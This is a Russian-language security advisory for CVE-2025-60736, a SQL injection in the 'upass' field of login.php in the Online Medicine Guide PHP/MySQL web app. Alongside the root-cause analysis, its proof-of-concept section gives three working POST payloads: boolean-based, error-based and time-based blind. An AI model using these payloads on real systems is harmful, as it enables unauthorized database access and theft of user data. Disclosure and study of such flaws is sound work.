CVE-2025-60736: Уязвимость SQL-инъекции в Online Medicine Guide
Краткое описание
В данном документе описывается критическая уязвимость SQL-инъекции, обнаруженная в веб-приложении Online Medicine Guide. Уязвимость позволяет несанкционированный доступ к базе данных и создает значительные риски для безопасности приложения и его пользователей.
Тип программного обеспечения: Веб-приложение (PHP/MySQL)
Технические детали
Язык программирования: PHP
База данных: MySQL
Фронтенд: CSS, JavaScript
Архитектура: Стек LAMP/WAMP
2. Детали уязвимости
Классификация уязвимости
ID CVE: CVE-2025-60736
Тип уязвимости: SQL-инъекция
Серьезность: Критическая
Оценка CVSS: 9.8 (критическая)
Вектор атаки: Сеть
Сложность атаки: Низкая
Требуемые привилегии: Отсутствуют
Взаимодействие с пользователем: Отсутствует
Область действия: Изменена
Анализ первопричины
Уязвимость возникает из-за недостаточной проверки и очистки входных данных в файле /login.php. Приложение напрямую конкатенирует пользовательский ввод из параметра upass в SQL-запросы без надлежащей очистки или использования подготовленных выражений.
Техническая первопричина:
Прямая конкатенация строк в SQL-запросах
Отсутствие проверки и очистки входных данных
Отсутствие реализации подготовленных выражений
Недостаточная привязка параметров
3. Подтверждение концепции
Местоположение уязвимости
Файл: /login.php
Параметр: upass (POST)
Вектор атаки: Манипуляция HTTP POST-запросом
Методы эксплуатации
Метод 1: Логическая SQL-инъекция (Boolean-Based)
root@kitploit:~
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' OR NOT 1852=1852-- iPRx
Метод 1: SQL-инъекция на основе ошибок (Error-Based)
root@kitploit:~
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' AND EXTRACTVALUE(4672,CONCAT(0x5c,0x7176707071,(SELECT (ELT(4672=4672,1))),0x71717a7071))-- knKp
Метод 2: Слепая SQL-инъекция на основе времени (Time-Based Blind)
root@kitploit:~
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' AND (SELECT 2089 FROM (SELECT(SLEEP(5)))zUlY)-- mWfa